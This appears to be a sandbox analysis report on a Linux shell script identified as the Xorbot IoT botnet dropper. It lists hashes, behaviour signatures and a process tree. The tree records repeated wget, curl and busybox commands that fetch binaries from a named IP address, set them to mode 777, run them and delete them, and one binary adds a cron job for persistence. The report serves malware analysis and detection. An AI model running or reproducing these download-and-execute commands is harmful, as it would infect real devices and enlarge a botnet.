Analysis

  • max time kernel
    149s
  • max time network
    97s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/12/2024, 00:11

General

  • Target

    RKY1N_bins.sh

  • Size

    10KB

  • MD5

    3185a06c9e65901556ba39c015fcb435

  • SHA1

    125fb6885ad57ad672d32176a30567375ad03770

  • SHA256

    aa653014d79dbe554affa5c6a3f3431aeb567bb2e834968539bd1a195a2b1c60

  • SHA512

    0c420af2a9aafa1d0b63b00fea070ec9e9d29ffa14fca78e8b5c5bf1ac6489562fc2f2326b1aefa934b0ba382114ab7f0adb81675aaec91f1c923c38c92d6e39

  • SSDEEP

    192:ojPta6AP3hIMGIQ+QeQsQFQxQpZLbHMwjPta6YP3hIM5Q+QeQsQFQxQ5c:DP3hIMGIZlVEMkZLbHMJP3hIM5ZlVEMf

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/RKY1N_bins.sh
    /tmp/RKY1N_bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          ./EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:752
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Writes file to tmp directory
            PID:771
          • /bin/chmod
            chmod 777 mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • File and Directory Permissions Modification
            PID:780
          • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            ./mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
            • Executes dropped EXE
            PID:782
          • /bin/rm
            rm mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK
            2⤵
              PID:786
            • /usr/bin/wget
              wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:787
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:790
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Writes file to tmp directory
              PID:801
            • /bin/chmod
              chmod 777 utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • File and Directory Permissions Modification
              PID:808
            • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              ./utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
              • Executes dropped EXE
              PID:809
            • /bin/rm
              rm utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj
              2⤵
                PID:813
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:814
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:827
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Writes file to tmp directory
                PID:828
              • /bin/chmod
                chmod 777 Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • File and Directory Permissions Modification
                PID:829
              • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                ./Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                • Executes dropped EXE
                PID:830
              • /bin/rm
                rm Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c
                2⤵
                  PID:832
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:833
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:834
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Writes file to tmp directory
                  PID:835
                • /bin/chmod
                  chmod 777 Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • File and Directory Permissions Modification
                  PID:836
                • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  ./Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                  • Executes dropped EXE
                  PID:837
                • /bin/rm
                  rm Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic
                  2⤵
                    PID:839
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Writes file to tmp directory
                    PID:841
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Writes file to tmp directory
                    PID:842
                  • /bin/chmod
                    chmod 777 sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • File and Directory Permissions Modification
                    PID:843
                  • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    ./sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                    • Executes dropped EXE
                    PID:844
                  • /bin/rm
                    rm sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx
                    2⤵
                      PID:846
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Writes file to tmp directory
                      PID:847
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:848
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Writes file to tmp directory
                      PID:849
                    • /bin/chmod
                      chmod 777 bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • File and Directory Permissions Modification
                      PID:850
                    • /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      ./bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                      • Executes dropped EXE
                      PID:851
                    • /bin/rm
                      rm bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w
                      2⤵
                        PID:853
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Writes file to tmp directory
                        PID:854
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:855
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Writes file to tmp directory
                        PID:859
                      • /bin/chmod
                        chmod 777 q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • File and Directory Permissions Modification
                        PID:860
                      • /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        ./q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:861
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:863
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:864
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:865
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:866
                          • /bin/rm
                            rm q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL
                            2⤵
                              PID:868
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/nr9KWR3Zx0uc7vkJuM5DizlzGCvKGuOwER
                              2⤵
                                PID:871

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/EB0oQolORMbmUktf0F1uKNZKv3t9VOaV2R

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/Mh6KuGi4TKa1WIO4pHBz8LOclY8qtSjIic

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/Po4uaoRDRopmAGG1PA9hGUCoZS51qQwI5c

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/bdBBGB8RhqoYkfyhtWRagDcYOoE4jrU02w

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/mcMjR66IyOpZxgDbKTegTnMYkCArSqpLbK

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/q0GvVVKSkLMakHtIH49cmQMNoqHk3u0UhL

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/sitfQlntvwyVyl9FZWa5O55emvT5Pyn8bx

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/utb2dOpgZxXPnSnea4nAB0ysLxEuG2NYwj

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /var/spool/cron/crontabs/tmp.rMrZLb

                              Filesize

                              210B

                              MD5

                              bf278aac5cbafdec0eabfcee5fc50c11

                              SHA1

                              575979fa5fa640a79092b668981bf21bbdcd3280

                              SHA256

                              9197cb82120e3afd16ac7dd5fc87371a91e29d5bcceacb5c8278e1866618b694

                              SHA512

                              5cdcdc67ce576cde27e5f4f514373631d0063bee08c13588d347459c07a305f7552341a0bc7562a490acb65e013ebbba882ccb88990c91fde85864c3ceee8f2c